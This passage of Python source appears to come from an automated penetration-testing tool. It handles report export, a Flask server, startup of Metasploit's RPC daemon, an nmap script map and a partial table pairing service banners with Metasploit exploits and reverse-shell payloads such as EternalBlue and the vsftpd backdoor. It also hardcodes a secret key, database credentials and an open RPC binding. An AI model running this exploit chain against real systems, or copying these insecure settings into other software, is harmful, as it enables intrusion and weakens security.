    all_cves = scan_results.get("all_cves", {})
    nse_findings = scan_results.get("nse_findings", {})
    exploits = scan_results.get("exploits", [])

    exploitable_ports = {str(e.get("port", "")) for e in exploits}
    rows = []

    for svc in services:
        key = f"{svc['ip']}:{svc['port']}"
        cves = all_cves.get(key, [])
        hits = nse_findings.get(key, [])

        base_row = {
            "ip": svc.get("ip", ""),
            "port": svc.get("port", ""),
            "protocol": svc.get("protocol", "tcp"),
            "service": svc.get("service", ""),
            "product": svc.get("product", ""),
            "version": svc.get("version", ""),
            "banner": svc.get("banner", ""),
            "nse_finding_count": len(hits),
            "nse_findings": " | ".join(hits[:3]),
            "exploitable": "YES" if svc["port"] in exploitable_ports else "NO",
        }

        if cves:
            for cve in cves:
                row = dict(base_row)
                row.update({
                    "cve_id": cve.get("id", ""),
                    "cvss_score": cve.get("score", ""),
                    "severity": cve.get("severity", ""),
                    "source": cve.get("source", ""),
                    "description": cve.get("description", "")[:200],
                    "exploit_available": cve.get("exploit_available", ""),
                    "actively_exploited": cve.get("actively_exploited", ""),
                    "risk_score": cve.get("risk_score", ""),
                })
                rows.append(row)
        else:
            row = dict(base_row)
            row.update({"cve_id": "", "cvss_score": "", "severity": "", "source": "",
                        "description": "", "exploit_available": "", "actively_exploited": "",
                        "risk_score": ""})
            rows.append(row)

    if not rows:
        return ""

    try:
        with open(csv_path, "w", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=rows[0].keys())
            writer.writeheader()
            writer.writerows(rows)
        return csv_path
    except Exception as e:
        logger.warning(f"[EXPORT] CSV error: {e}")
        return ""


def generate_comparison_html(
    black_box_results: dict,
    auth_results: dict,
    target: str,
) -> str:
    """
    Generate an HTML comparison table: black-box findings vs authenticated findings.
    Highlights what the authenticated scan found that black-box missed.
    """
    bb_services = black_box_results.get("services", [])
    bb_cves = black_box_results.get("all_cves", {})
    bb_nse = black_box_results.get("nse_findings", {})

    auth_ssh = auth_results.get("ssh", {}) if auth_results else {}
    auth_smb = auth_results.get("smb", {}) if auth_results else {}
    auth_snmp = auth_results.get("snmp", {}) if auth_results else {}
    auth_creds = auth_results.get("discovered_credentials", []) if auth_results else []
    auth_pivots = auth_results.get("pivot_candidates", []) if auth_results else []

    # Count differentials
    bb_vuln_count = sum(len(v) for v in bb_nse.values())
    auth_extra_findings = len(auth_creds) + len(auth_pivots)

    ssh_users = []
    if auth_ssh and "users" in auth_ssh:
        for line in (auth_ssh["users"] or "").splitlines():
            if ":" in line:
                ssh_users.append(line.split(":")[0])

    suid_binaries = []
    if auth_ssh and "suid_binaries" in auth_ssh:
        for line in (auth_ssh["suid_binaries"] or "").splitlines():
            if line.strip():
                suid_binaries.append(line.strip())

    pivot_note = ""
    if auth_pivots:
        pivot_note = f'<div style="background:#00ff8811;border:1px solid #00ff88;padding:10px;border-radius:4px;margin:10px 0">' \
                     f'⚠ <strong style="color:#00ff88">{len(auth_pivots)} Pivot Candidate(s) Identified:</strong><br>' + \
                     "<br>".join(p.get("details", {}).get("pivot_note", p["host"]) for p in auth_pivots) + "</div>"

    comparison_rows = [
        ("Attack Surface", f"{len(bb_services)} services", f"{len(bb_services)} services + internal view", len(bb_services) > 0),
        ("CVE Findings", f"{sum(len(v) for v in bb_cves.values())} CVEs", "Same + authenticated context", True),
        ("NSE Vulnerabilities", f"{bb_vuln_count} findings", f"{bb_vuln_count} external + internal config", True),
        ("User Accounts", "N/A", f"{len(ssh_users)} accounts enumerated", bool(ssh_users)),
        ("SUID Binaries", "N/A", f"{len(suid_binaries)} SUID files found", bool(suid_binaries)),
        ("Discovered Credentials", "N/A", f"{len(auth_creds)} credential(s)", bool(auth_creds)),
        ("Pivot Candidates", "N/A", f"{len(auth_pivots)} dual-homed host(s)", bool(auth_pivots)),
        ("SNMP Access", "Port 161 open only", f"{'Valid community found' if auth_snmp and 'valid_communities' in auth_snmp else 'No valid communities'}", bool(auth_snmp)),
    ]

    rows_html = ""
    for label, bb_val, auth_val, has_data in comparison_rows:
        highlight = 'style="background:#00ff8811"' if has_data else ""
        rows_html += f"""<tr {highlight}>
          <td style="color:#8b949e;font-weight:600">{label}</td>
          <td style="color:#4a6080">{bb_val}</td>
          <td style="color:#00d4ff">{auth_val}</td>
          <td>{'<span style="color:#00ff88">✓ Additional exposure</span>' if has_data else '<span style="color:#4a6080">—</span>'}</td>
        </tr>"""

    creds_html = ""
    for cred in auth_creds[:10]:
        creds_html += f"""<tr>
          <td style="color:#ff8800;font-family:monospace">{cred.get("service","")}</td>
          <td style="color:#00d4ff;font-family:monospace">{cred.get("host","")}:{cred.get("port","")}</td>
          <td style="color:#ffd700;font-family:monospace">{cred.get("username","")}</td>
          <td style="color:#ff3355;font-family:monospace">{'*' * len(cred.get("password",""))}</td>
          <td style="color:#4a6080;font-size:11px">{cred.get("source","")}</td>
        </tr>"""

    return f"""<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8">
<title>PentestChain — Black-box vs Authenticated Comparison — {target}</title>
<style>
*{{box-sizing:border-box;margin:0;padding:0}}
body{{background:#0d1117;color:#c8d6e5;font-family:'Segoe UI',system-ui,sans-serif;padding:2rem}}
h1{{color:#00d4ff;font-size:1.5rem;margin-bottom:.3rem}}
h2{{color:#00d4ff;font-size:1rem;margin:2rem 0 .8rem;border-bottom:1px solid #1e2d3d;padding-bottom:.4rem;letter-spacing:2px;text-transform:uppercase}}
.meta{{color:#4a6080;font-size:.82rem;margin-bottom:1.5rem}}
table{{width:100%;border-collapse:collapse;font-size:.82rem;margin-bottom:1.5rem}}
th{{background:#141c24;padding:.6rem .8rem;text-align:left;color:#4a6080;font-size:.72rem;letter-spacing:1.5px;text-transform:uppercase;border-bottom:1px solid #1e2d3d}}
td{{padding:.5rem .8rem;border-bottom:1px solid #141c24}}
tr:hover td{{background:#141c2488}}
.badge{{display:inline-block;padding:2px 8px;border-radius:2px;font-size:12px;font-weight:700}}
.badge-bb{{background:#4a608033;color:#4a6080;border:1px solid #4a608055}}
.badge-auth{{background:#00d4ff22;color:#00d4ff;border:1px solid #00d4ff44}}
</style></head><body>
<h1>🔍 Black-box vs Authenticated Findings — {target}</h1>
<div class="meta">Generated: {datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</div>

<p style="margin-bottom:1rem">
  <span class="badge badge-bb">BLACK-BOX</span> — External unauthenticated scan findings &nbsp;|&nbsp;
  <span class="badge badge-auth">AUTHENTICATED</span> — Internal credentialed scan findings
</p>

{pivot_note}

<h2>Finding Comparison</h2>
<table>
  <thead><tr><th>Category</th><th>Black-box</th><th>Authenticated</th><th>Delta</th></tr></thead>
  <tbody>{rows_html}</tbody>
</table>

{'<h2>Discovered Credentials</h2><table><thead><tr><th>Service</th><th>Target</th><th>Username</th><th>Password</th><th>Source</th></tr></thead><tbody>' + creds_html + '</tbody></table>' if auth_creds else ''}

{'<h2>SUID Binaries (Privilege Escalation Risk)</h2><pre style="background:#141c24;padding:1rem;border-radius:4px;color:#ff8800;font-size:12px">' + chr(10).join(suid_binaries[:20]) + '</pre>' if suid_binaries else ''}

{'<h2>User Accounts Found</h2><pre style="background:#141c24;padding:1rem;border-radius:4px;color:#00d4ff;font-size:12px">' + chr(10).join(ssh_users[:20]) + '</pre>' if ssh_users else ''}
</body></html>"""


def export_pdf(html_path: str, pdf_path: str, emit_fn=None) -> str:
    """
    Convert existing HTML report to PDF using WeasyPrint.
    Falls back to wkhtmltopdf if WeasyPrint not available.
    Returns pdf_path on success or "" on failure.
    """
    emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))

    # Try WeasyPrint (Kali: pip install weasyprint)
    try:
        import weasyprint
        weasyprint.HTML(filename=html_path).write_pdf(pdf_path)
        emit(f"[EXPORT] PDF exported via WeasyPrint: {pdf_path}", "ok")
        return pdf_path
    except ImportError:
        pass
    except Exception as e:
        emit(f"[EXPORT] WeasyPrint error: {e}", "warn")

    # Fallback: wkhtmltopdf
    try:
        r = subprocess.run(
            ["wkhtmltopdf", "--quiet", "--no-stop-slow-scripts",
             "--javascript-delay", "500", html_path, pdf_path],
            capture_output=True, text=True, timeout=120
        )
        if r.returncode == 0 and os.path.exists(pdf_path):
            emit(f"[EXPORT] PDF exported via wkhtmltopdf: {pdf_path}", "ok")
            return pdf_path
    except FileNotFoundError:
        pass
    except Exception as e:
        emit(f"[EXPORT] wkhtmltopdf error: {e}", "warn")

    # Fallback: chromium headless
    try:
        r = subprocess.run(
            ["chromium", "--headless", "--disable-gpu",
             f"--print-to-pdf={pdf_path}", f"file://{html_path}"],
            capture_output=True, text=True, timeout=120
        )
        if os.path.exists(pdf_path):
            emit(f"[EXPORT] PDF exported via Chromium: {pdf_path}", "ok")
            return pdf_path
    except Exception as e:
        emit(f"[EXPORT] All PDF export methods failed", "warn")

    return ""


class ReportExporter:
    """
    Wraps all export functions and coordinates output paths.

    Usage:
        exporter = ReportExporter(scan_results, out_dir, emit_fn)
        paths = exporter.export_all(auth_results=auth_results)
    """

    def __init__(self, scan_results: dict, out_dir: str, emit_fn=None):
        self.results = scan_results
        self.out_dir = out_dir
        self.emit = emit_fn or (lambda msg, lvl="info": logger.info(msg))
        self.paths = {}

    def export_all(self, auth_results: dict = None) -> dict:
        target = self.results.get("target", "unknown")
        ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
        report_dir = os.path.join(self.out_dir, "reports")
        os.makedirs(report_dir, exist_ok=True)

        services = self.results.get("services", [])
        exploits = self.results.get("exploits", [])
        nse_findings = self.results.get("nse_findings", {})
        all_cves = self.results.get("all_cves", {})

        self.emit("[EXPORT] Generating attack chain SVG...", "run")
        try:
            pivot_candidates = (auth_results or {}).get("pivot_candidates", [])
            svg_content = generate_attack_chain_svg(
                services, exploits, nse_findings, all_cves, pivot_candidates, auth_results
            )
            svg_path = os.path.join(report_dir, f"attack_chain_{ts}.svg")
            with open(svg_path, "w") as f:
                f.write(svg_content)
            self.paths["svg"] = svg_path
            self.emit(f"[EXPORT] Attack chain SVG: {svg_path}", "ok")
        except Exception as e:
            self.emit(f"[EXPORT] SVG generation error: {e}", "warn")

        self.emit("[EXPORT] Exporting CSV findings...", "run")
        try:
            csv_path = os.path.join(report_dir, f"findings_{ts}.csv")
            result = export_csv(self.results, csv_path)
            if result:
                self.paths["csv"] = csv_path
                self.emit(f"[EXPORT] CSV: {csv_path}", "ok")
        except Exception as e:
            self.emit(f"[EXPORT] CSV error: {e}", "warn")

        if auth_results:
            self.emit("[EXPORT] Generating black-box vs authenticated comparison...", "run")
            try:
                comparison_html = generate_comparison_html(self.results, auth_results, target)
                comp_path = os.path.join(report_dir, f"comparison_{ts}.html")
                with open(comp_path, "w") as f:
                    f.write(comparison_html)
                self.paths["comparison"] = comp_path
                self.emit(f"[EXPORT] Comparison report: {comp_path}", "ok")
            except Exception as e:
                self.emit(f"[EXPORT] Comparison error: {e}", "warn")

        html_path = self.results.get("html_path", "")
        if html_path and os.path.exists(html_path):
            self.emit("[EXPORT] Exporting PDF...", "run")
            pdf_path = os.path.join(report_dir, f"report_{ts}.pdf")
            result = export_pdf(html_path, pdf_path, self.emit)
            if result:
                self.paths["pdf"] = pdf_path

        self.emit(f"[EXPORT] All exports complete: {list(self.paths.keys())}", "ok")
        return self.paths

app = Flask(__name__)
app.config['SECRET_KEY'] = 'pentestchain2025'

# Hard-coding async_mode='threading' caused this on websocket connects under
# werkzeug 3.x:
#     AssertionError: write() before start_response
# (the WebSocket upgrade path returns before the WSGI start_response is
#  called.) Preferring eventlet / gevent fixes it cleanly; if neither is
# installed we fall back to threading + force long-polling so the upgrade
# path is never taken and Socket.IO works without raising 500s.
def _pick_async_mode():
    for mode, mod_name in (("eventlet", "eventlet"),
                            ("gevent_uwsgi", "gevent"),
                            ("gevent", "gevent")):
        try:
            __import__(mod_name)
            return mode
        except Exception:
            continue
    # Last resort: threading. Requires `simple-websocket` for WS upgrade to
    # work — if it's missing we'll disable WS below.
    return "threading"

_ASYNC_MODE = _pick_async_mode()
_HAS_SIMPLE_WS = False
if _ASYNC_MODE == "threading":
    try:
        import simple_websocket  # noqa: F401
        _HAS_SIMPLE_WS = True
    except Exception:
        _HAS_SIMPLE_WS = False

_sock_kwargs = dict(
    cors_allowed_origins="*",
    async_mode=_ASYNC_MODE,
    ping_timeout=600,
    ping_interval=120,
)
# When we're stuck on threading without simple-websocket, restrict the
# allowed transports to long-polling. Clients then never attempt the WS
# upgrade and the werkzeug 3.x assertion can never fire.
if _ASYNC_MODE == "threading" and not _HAS_SIMPLE_WS:
    _sock_kwargs["allow_upgrades"] = False
    _sock_kwargs["transports"] = ["polling"]

socketio = SocketIO(app, **_sock_kwargs)
print(f"[SocketIO] async_mode={_ASYNC_MODE} "
      f"simple_websocket={'yes' if _HAS_SIMPLE_WS else 'no'} "
      f"upgrades={'yes' if _sock_kwargs.get('allow_upgrades', True) else 'polling-only'}")

RESULTS_BASE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "results")
os.makedirs(RESULTS_BASE, exist_ok=True)

msf_ready = threading.Event()
msf_warming = False

def prewarm_msf():
    """Pre-warm Metasploit: start PostgreSQL, init DB, launch msfrpcd."""
    global msf_warming
    msf_warming = True
    try:
        socketio.emit("msf_status", {"status": "warming", "message": "MSF starting..."})

        # 1. Start PostgreSQL (local or external apt_db)
        pg_ok = subprocess.run(["service", "postgresql", "start"], timeout=30, capture_output=True)
        if pg_ok.returncode != 0:
            db_yml = "/root/.msf4/database.yml"
            os.makedirs("/root/.msf4", exist_ok=True)
            with open(db_yml, "w") as f:
                f.write("production:\n  adapter: postgresql\n  database: msf\n"
                        "  username: msf\n  password: msf\n  host: apt_db\n  port: 5432\n")
        time.sleep(2)

        # 2. Init MSF database
        subprocess.run(["msfdb", "init"], timeout=60, capture_output=True)
        time.sleep(1)

        # 3. Start msfrpcd (the RPC daemon the console API connects to)
        if not _is_port_open(MSFRPC_HOST, MSFRPC_PORT):
            try:
                subprocess.Popen(
                    ["msfrpcd", "-P", MSFRPC_PASS, "-U", MSFRPC_USER,
                     "-S", "-a", "0.0.0.0", "-p", str(MSFRPC_PORT)],
                    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                )
                logger.info("[PREWARM] msfrpcd starting...")
            except FileNotFoundError:
                logger.warning("[PREWARM] msfrpcd binary not found")

        # 4. Wait for msfrpcd to be ready (up to 30s)
        deadline = time.time() + 30
        while time.time() < deadline:
            if _is_port_open(MSFRPC_HOST, MSFRPC_PORT):
                logger.info("[PREWARM] msfrpcd is up")
                break
            time.sleep(1)

        # 5. Quick db_status check via RPC console (not full module load)
        client = _get_msf_client()
        if client:
            try:
                c = client.consoles.console()
                c.write("db_status")
                time.sleep(3)
                r = c.read()
                db_out = (r or {}).get("data", "")
                logger.info(f"[PREWARM] db_status: {db_out.strip()[:100]}")
                c.destroy()
            except Exception as e:
                logger.warning(f"[PREWARM] db_status check: {e}")

        msf_ready.set()
        socketio.emit("msf_status", {"status": "ready", "message": "MSF ready (msfrpcd + DB)"})
    except Exception as e:
        msf_ready.set()
        socketio.emit("msf_status", {"status": "ready",
                                      "message": f"MSF ready (with warnings: {e})"})
    finally:
        msf_warming = False

# Active scan state
scan_state = {
    "running": False,
    "phase": 0,
    "total_phases": 10,
    "progress": 0,
    "log": [],
    "results": {},
    "current_task": ""
}

PORT_SCRIPTS = {
    "21":   ["ftp-anon","ftp-bounce","ftp-brute","ftp-libopie","ftp-proftpd-backdoor",
             "ftp-syst","ftp-vsftpd-backdoor","ftp-vuln-cve2010-4221"],

    "22":   ["ssh-auth-methods","ssh-brute","ssh-hostkey","ssh-publickey-acceptance",
             "ssh-run","ssh2-enum-algos","sshv1"],

    "23":   ["telnet-brute","telnet-encryption","telnet-ntlm-info"],

    "25":   ["smtp-brute","smtp-commands","smtp-enum-users","smtp-ntlm-info",
             "smtp-open-relay","smtp-strangeport","smtp-vuln-cve2010-4344",
             "smtp-vuln-cve2011-1720","smtp-vuln-cve2011-1764"],
    "465":  ["smtp-brute","smtp-commands","smtp-enum-users","smtp-ntlm-info",
             "smtp-open-relay","smtp-vuln-cve2010-4344","ssl-cert","ssl-enum-ciphers"],
    "587":  ["smtp-brute","smtp-commands","smtp-enum-users","smtp-ntlm-info",
             "smtp-open-relay","smtp-vuln-cve2010-4344"],

    "53":   ["dns-brute","dns-cache-snoop","dns-check-zone","dns-nsec-enum",
             "dns-nsec3-enum","dns-nsid","dns-random-srcport","dns-random-txid",
             "dns-recursion","dns-service-discovery","dns-update","dns-zone-transfer"],

    "67":   ["dhcp-discover"],
    "68":   ["dhcp-discover"],

    "69":   ["tftp-enum"],

    "80":   ["http-auth","http-auth-finder","http-backup-finder","http-brute",
             "http-config-backup","http-cors","http-cross-domain-policy",
             "http-csrf","http-date","http-default-accounts","http-dombased-xss",
             "http-enum","http-errors","http-favicon","http-generator",
             "http-git","http-headers","http-iis-short-name-brute",
             "http-iis-webdav-vuln","http-internal-ip-disclosure",
             "http-jsonp-detection","http-majordomo2-dir-traversal",
             "http-malware-host","http-method-tamper","http-methods",
             "http-mobileversion-checker","http-ntlm-info",
             "http-open-proxy","http-open-redirect","http-passwd",
             "http-php-version","http-phpmyadmin-dir-traversal",
             "http-phpself-xss","http-put","http-robots.txt",
             "http-server-header","http-shellshock","http-sitemap-generator",
             "http-slowloris-check","http-sql-injection","http-stored-xss",
             "http-title","http-trace","http-traceroute",
             "http-unsafe-output-escaping","http-userdir-enum",
             "http-vhosts","http-vlcstreamer-ls","http-vmware-path-vuln",
             "http-vuln-cve2006-3392","http-vuln-cve2009-3960",
             "http-vuln-cve2010-0738","http-vuln-cve2010-2861",
             "http-vuln-cve2011-3192","http-vuln-cve2011-3368",
             "http-vuln-cve2012-1823","http-vuln-cve2013-0156",
             "http-vuln-cve2013-6786","http-vuln-cve2013-7091",
             "http-vuln-cve2014-2126","http-vuln-cve2014-2127",
             "http-vuln-cve2014-2128","http-vuln-cve2014-2129",
             "http-vuln-cve2014-3704","http-vuln-cve2014-8877",
             "http-vuln-cve2015-1427","http-vuln-cve2015-1635",
             "http-vuln-cve2017-1001000","http-vuln-cve2017-5638",
             "http-vuln-cve2017-5689","http-vuln-cve2017-8917",
             "http-vuln-misfortune-cookie","http-vuln-wnr1000-creds",
             "http-waf-detect","http-waf-fingerprint",
             "http-webdav-scan","http-wordpress-brute",
             "http-wordpress-enum","http-wordpress-users","http-xssed"],

    "88":   ["krb5-enum-users"],

    "110":  ["pop3-brute","pop3-capabilities","pop3-ntlm-info"],

    "111":  ["nfs-ls","nfs-showmount","nfs-statfs","rpcinfo"],

    "113":  ["auth-owners"],

    "123":  ["ntp-info","ntp-monlist"],

    "137":  ["nbstat"],

    "139":  ["smb-brute","smb-double-pulsar-backdoor","smb-enum-domains",
             "smb-enum-groups","smb-enum-processes","smb-enum-services",
             "smb-enum-sessions","smb-enum-shares","smb-enum-users",
             "smb-flood","smb-ls","smb-mbenum",
             "smb-os-discovery","smb-print-text","smb-protocols",
             "smb-psexec","smb-security-mode","smb-server-stats",
             "smb-system-info","smb-vuln-conficker","smb-vuln-cve-2017-7494",
             "smb-vuln-cve2009-3103","smb-vuln-ms06-025","smb-vuln-ms07-029",
             "smb-vuln-ms08-067","smb-vuln-ms10-054","smb-vuln-ms10-061",
             "smb-vuln-ms17-010","smb-vuln-regsvc-dos","smb-vuln-webexec"],

    "143":  ["imap-brute","imap-capabilities","imap-ntlm-info"],

    "161":  ["snmp-brute","snmp-hh3c-logins","snmp-info","snmp-interfaces",
             "snmp-ios-config","snmp-netstat","snmp-processes",
             "snmp-sysdescr","snmp-win32-services","snmp-win32-shares",
             "snmp-win32-software","snmp-win32-users"],

    "162":  ["snmp-info"],

    "389":  ["ldap-brute","ldap-novell-getpass","ldap-rootdse","ldap-search"],

    "443":  ["http-auth","http-auth-finder","http-config-backup","http-cors",
             "http-cross-domain-policy","http-csrf","http-default-accounts",
             "http-dombased-xss","http-enum","http-errors","http-favicon",
             "http-generator","http-git","http-headers","http-internal-ip-disclosure",
             "http-methods","http-ntlm-info","http-open-redirect","http-passwd",
             "http-php-version","http-phpmyadmin-dir-traversal","http-phpself-xss",
             "http-robots.txt","http-server-header","http-shellshock",
             "http-sql-injection","http-stored-xss","http-title","http-trace",
             "http-unsafe-output-escaping","http-vuln-cve2014-3704",
             "http-vuln-cve2017-5638","http-vuln-cve2017-5689",
             "http-waf-detect","http-webdav-scan","http-wordpress-enum",
             "ssl-ccs-injection","ssl-cert","ssl-cert-intaddr",
             "ssl-date","ssl-dh-params","ssl-enum-ciphers",
             "ssl-heartbleed","ssl-known-key","ssl-poodle",
             "sslv2","sslv2-drown","tls-alpn",
             "tls-nextprotoneg","tls-ticketbleed"],

    "445":  ["smb-brute","smb-double-pulsar-backdoor","smb-enum-domains",
             "smb-enum-groups","smb-enum-processes","smb-enum-services",
             "smb-enum-sessions","smb-enum-shares","smb-enum-users",
             "smb-flood","smb-ls","smb-mbenum",
             "smb-os-discovery","smb-print-text","smb-protocols",
             "smb-psexec","smb-security-mode","smb-server-stats",
             "smb-system-info","smb-vuln-conficker","smb-vuln-cve-2017-7494",
             "smb-vuln-cve2009-3103","smb-vuln-ms06-025","smb-vuln-ms07-029",
             "smb-vuln-ms08-067","smb-vuln-ms10-054","smb-vuln-ms10-061",
             "smb-vuln-ms17-010","smb-vuln-regsvc-dos","smb-vuln-webexec"],


    "512":  ["rexec-brute"],
    "513":  ["rlogin-brute"],
    "514":  [],  # syslog — no interactive scripts

    "554":  ["rtsp-methods","rtsp-url-brute"],

    "631":  ["cups-info","cups-queue-info","http-title"],

    "636":  ["ldap-rootdse","ldap-search","ssl-cert","ssl-enum-ciphers"],

    "873":  ["rsync-brute","rsync-list-modules"],

    "1433": ["ms-sql-brute","ms-sql-config","ms-sql-dac","ms-sql-dump-hashes",
             "ms-sql-empty-password","ms-sql-hasdbaccess","ms-sql-info",
             "ms-sql-ntlm-info","ms-sql-query","ms-sql-tables",
             "ms-sql-xp-cmd-shell"],

    "1521": ["oracle-brute","oracle-brute-stealth","oracle-enum-users",
             "oracle-sid-brute","oracle-tns-version"],

    "1524": ["auth-owners"],

    "2049": ["nfs-ls","nfs-showmount","nfs-statfs"],

    "2121": ["ftp-anon","ftp-brute","ftp-syst","ftp-vsftpd-backdoor"],

    "3306": ["mysql-audit","mysql-brute","mysql-databases","mysql-dump-hashes",
             "mysql-empty-password","mysql-enum","mysql-info",
             "mysql-query","mysql-users","mysql-variables",
             "mysql-vuln-cve2012-2122"],

    "3389": ["rdp-enum-encryption","rdp-ntlm-info","rdp-vuln-ms12-020"],

    "5060": ["sip-brute","sip-enum-users","sip-methods"],

    "5432": ["pgsql-brute"],

    "5900": ["realvnc-auth-bypass","vnc-brute","vnc-info","vnc-title"],
    "5901": ["vnc-brute","vnc-info","vnc-title"],

    "5984": ["couchdb-databases","couchdb-stats"],

    "6000": ["x11-access"],

    "6379": ["redis-brute","redis-info"],

    "6667": ["irc-botnet-channels","irc-brute","irc-info",
             "irc-sasl-brute","irc-unrealircd-backdoor"],
    "6668": ["irc-botnet-channels","irc-brute","irc-info","irc-unrealircd-backdoor"],
    "6669": ["irc-botnet-channels","irc-brute","irc-info","irc-unrealircd-backdoor"],

    "8000": ["http-auth","http-cors","http-enum","http-generator",
             "http-git","http-headers","http-methods","http-open-redirect",
             "http-php-version","http-robots.txt","http-server-header",
             "http-shellshock","http-sql-injection","http-title",
             "http-vuln-cve2017-5638","http-waf-detect","http-webdav-scan"],

    "8009": ["ajp-auth","ajp-brute","ajp-headers","ajp-methods",
             "ajp-request"],

    "8080": ["http-auth","http-auth-finder","http-backup-finder",
             "http-brute","http-config-backup","http-cors",
             "http-default-accounts","http-dombased-xss","http-enum",
             "http-errors","http-favicon","http-generator","http-git",
             "http-headers","http-iis-short-name-brute",
             "http-internal-ip-disclosure","http-methods",
             "http-ntlm-info","http-open-proxy","http-open-redirect",
             "http-passwd","http-php-version","http-phpmyadmin-dir-traversal",
             "http-phpself-xss","http-put","http-robots.txt",
             "http-server-header","http-shellshock","http-sql-injection",
             "http-stored-xss","http-title","http-trace",
             "http-unsafe-output-escaping","http-vuln-cve2010-0738",
             "http-vuln-cve2010-2861","http-vuln-cve2011-3192",
             "http-vuln-cve2012-1823","http-vuln-cve2017-5638",
             "http-vuln-cve2017-5689","http-vuln-cve2017-8917",
             "http-waf-detect","http-waf-fingerprint",
             "http-webdav-scan","http-wordpress-enum"],

    "8443": ["http-auth","http-default-accounts","http-enum",
             "http-headers","http-methods","http-robots.txt",
             "http-server-header","http-title","http-vuln-cve2017-5638",
             "http-vuln-cve2017-5689","http-webdav-scan",
             "ssl-ccs-injection","ssl-cert","ssl-dh-params",
             "ssl-enum-ciphers","ssl-heartbleed","ssl-poodle"],

    "8180": ["http-auth","http-default-accounts","http-enum",
             "http-headers","http-methods","http-put",
             "http-server-header","http-title","http-vuln-cve2017-5638"],

    "8888": ["http-auth","http-enum","http-headers","http-methods",
             "http-robots.txt","http-server-header","http-shellshock",
             "http-sql-injection","http-title","http-vuln-cve2017-5638"],

    "8787": ["drda-info"],

    "9200": ["http-auth","http-enum","http-headers","http-methods",
             "http-server-header","http-title",
             "http-vuln-cve2015-1427"],

    "9300": ["http-title"],

    "27017":["mongodb-brute","mongodb-databases","mongodb-info"],

    "11211":["memcached-info"],

    "3632": ["distcc-cve2004-2687"],

    "2375": ["docker-version","http-title"],
    "2376": ["docker-version","http-title","ssl-cert"],

    "1883": ["mqtt-subscribe"],

    "9042": ["cassandra-brute","cassandra-info"],

    "6443": ["http-title","ssl-cert","ssl-enum-ciphers"],
    "10250":["http-title"],

    "8081": ["http-auth","http-default-accounts","http-enum","http-headers",
             "http-methods","http-robots.txt","http-server-header","http-title"],

    "10000":["http-auth","http-default-accounts","http-enum","http-headers",
             "http-methods","http-server-header","http-title",
             "http-vuln-cve2006-3392"],

    "5672": ["amqp-info"],

    "1099": ["rmi-dumpregistry","rmi-vuln-classloader"],

    "1723": ["pptp-version"],

    "3690": ["svn-brute"],

    "5222": ["xmpp-brute","xmpp-info"],
    "5269": ["xmpp-info"],

    "5985": ["http-auth","http-headers","http-methods","http-title"],
    "5986": ["http-auth","http-headers","http-title","ssl-cert","ssl-enum-ciphers"],

    "623":  ["ipmi-brute","ipmi-cipher-zero","ipmi-version"],

    "1434": ["ms-sql-dac","ms-sql-info"],

    "9090": ["http-auth","http-default-accounts","http-enum","http-headers",
             "http-methods","http-server-header","http-title"],


    "901":  ["http-auth","http-headers","http-title"],
}

# Format: (port_str, keyword_in_banner_or_nse_hits):
#            (msf_module, payload, needs_lhost)
#
# needs_lhost=False  → bind/backdoor exploits (vsftpd, samba usermap, distcc…)
#                      Do NOT set LHOST/LPORT in the RC — MSF errors if you do.
# needs_lhost=True   → reverse-shell exploits — must set LHOST/LPORT.
# payload=""         → auxiliary scanners — no payload line at all.
#
# KEYWORD MATCHING RULES (to avoid false positives):
#   - Use the EXACT version string that nmap -sV puts in the banner
#   - For NSE-detected vulns, use the exact CVE/vuln name NSE prints
#   - Do NOT use generic words like "ftp" or "http" — too broad, causes false positives
EXPLOIT_MAP = {
    # vsftpd 2.3.4 backdoor: connect-back on port 6200 — NO reverse payload needed
    ("21","vsftpd 2.3.4"):  ("exploit/unix/ftp/vsftpd_234_backdoor",    "",    False),  # No payload - backdoor opens shell directly
    # ProFTPD 1.3.3c backdoor: same — bind shell, no LHOST
    ("21","proftpd 1.3.3"): ("exploit/unix/ftp/proftpd_133c_backdoor",  "",    False),  # No payload - backdoor
    # ProFTPD 1.3.5 mod_copy: reverse perl shell
    ("21","proftpd 1.3.5"): ("exploit/unix/ftp/proftpd_modcopy_exec",   "cmd/unix/reverse_perl", True),

    # MS17-010 EternalBlue: requires NSE to confirm (nse hit: ms17-010 or smb-vuln-ms17-010)
    ("445","smb-vuln-ms17-010"):  ("exploit/windows/smb/ms17_010_eternalblue","windows/x64/meterpreter/reverse_tcp", True),
    ("445","ms17-010"):           ("exploit/windows/smb/ms17_010_eternalblue","windows/x64/meterpreter/reverse_tcp", True),
    ("445","ms08-067"):           ("exploit/windows/smb/ms08_067_netapi",      "windows/meterpreter/reverse_tcp",     True),
    # Samba usermap_script: NSE confirms "samba 3.0" in banner — bind shell
    ("445","samba 3.0"):          ("exploit/multi/samba/usermap_script",        "",                  False),  # No payload - bind shell
    ("139","smb-vuln-ms17-010"):  ("exploit/windows/smb/ms17_010_eternalblue","windows/x64/meterpreter/reverse_tcp", True),
    ("139","ms17-010"):           ("exploit/windows/smb/ms17_010_eternalblue","windows/x64/meterpreter/reverse_tcp", True),
    ("139","ms08-067"):           ("exploit/windows/smb/ms08_067_netapi",      "windows/meterpreter/reverse_tcp",     True),
    ("139","samba 3.0"):          ("exploit/multi/samba/usermap_script",        "",                  False),  # No payload - bind shell
    # Samba is_known_pipename (CVE-2017-7494): requires "samba" + specific NSE confirm
    ("445","smb-vuln-cve-2017-7494"): ("exploit/linux/samba/is_known_pipename","", False),  # No payload
    ("139","smb-vuln-cve-2017-7494"): ("exploit/linux/samba/is_known_pipename","", False),  # No payload

    ("3389","bluekeep"):          ("exploit/windows/rdp/cve_2019_0708_bluekeep_rce","windows/x64/meterpreter/reverse_tcp", True),

    ("3306","mysql"):             ("auxiliary/scanner/mysql/mysql_login",           "", False),
    # PostgreSQL: postgres_payload ONLY accepts native linux/* payloads —
    # cmd/unix/* triggers "is not a compatible payload". Use the 32-bit
    # meterpreter that works on Metasploitable 2 out of the box.
    ("5432","postgresql"):        ("exploit/linux/postgres/postgres_payload",        "linux/x86/meterpreter/reverse_tcp", True),
    ("1433","mssql"):             ("auxiliary/scanner/mssql/mssql_login",           "", False),
    ("27017","mongodb"):          ("auxiliary/scanner/mongodb/mongodb_login",        "", False),
